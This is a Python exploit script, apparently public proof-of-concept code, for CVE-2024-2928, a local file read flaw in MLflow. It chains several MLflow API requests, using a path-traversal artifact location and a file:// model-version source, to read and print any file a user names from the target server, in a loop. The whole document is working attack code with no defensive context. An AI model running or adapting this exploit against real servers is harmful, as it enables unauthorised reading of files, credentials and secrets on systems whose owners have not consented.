#!/usr/bin/python3

import requests
import argparse
import random
import os
import string
import json


parser = argparse.ArgumentParser("CVE-2024-2928 Local File Read Exploit\n m1nus0ne")

parser.add_argument("-t", "--target", required=True, type=str)
parser.add_argument("-p", "--port", required=True, type=int)

args: argparse.Namespace = parser.parse_args()

target = args.target
port = args.port


RootUrl = f'http://{target}:{port}/'
Endpoint02 = 'ajax-api/2.0/mlflow/experiments/create'
Endpoint03 = 'api/2.0/mlflow/runs/create'
Endpoint04 = 'ajax-api/2.0/mlflow/registered-models/create'
Endpoint05 = 'ajax-api/2.0/mlflow/model-versions/create'

def GetFileDirnameAndBasename():
    AbsFilePath = str(input("File path: "))
    filename = os.path.basename(AbsFilePath)
    filepath = os.path.dirname(AbsFilePath)
    return filename, filepath

def GetRandomName():
    return ''.join(random.choices(string.ascii_letters, k=16)) 

def GetArtifactLocation(filepath):
    return f'http:///#/../../../../../../../../../../../../../..{filepath}/'

def GetRunId(response):
    return json.loads(json.dumps(response))['run']['info']['run_id']

while(True):
    filename, filepath = GetFileDirnameAndBasename()
    #Request02
    ExperimentName = GetRandomName()
    ArtifactLocation = GetArtifactLocation(filepath)
    datapack02 = json.dumps({"name": ExperimentName, "artifact_location": ArtifactLocation})

    response02 = requests.post(f'{RootUrl}{Endpoint02}', 
        data=datapack02,
        headers={"Content-Type": "application/json"})
    ExperimentId = str(response02.json()['experiment_id'])


    #Request03
    datapack03 = json.dumps({"experiment_id": ExperimentId})
    response03 = requests.post(f'{RootUrl}{Endpoint03}', 
        data=datapack03,
        headers={"Content-Type": "application/json"})
    RunId = GetRunId(response03.json())

    #Request04
    datapack04 = json.dumps({"name": ExperimentName})
    response04 = requests.post(f'{RootUrl}{Endpoint04}', 
        data=datapack04,
        headers={"Content-Type": "application/json"})

    #Request05
    datapack05 = json.dumps({"name": ExperimentName, "run_id": RunId, "source": f'file://{filepath}/'})
    response05 = requests.post(f'{RootUrl}{Endpoint05}', 
        data=datapack05,
        headers={"Content-Type": "application/json"})

    #Request06
    Endpoint06 = f'model-versions/get-artifact?path={filename}&name={ExperimentName}&version=1'
    response06 = requests.get(f'{RootUrl}{Endpoint06}')
    if (response06.status_code != 200):
        print(f'{filepath}/{filename} not found!')
    else:
        print(response06.text)
        print('#############~END of File~#################')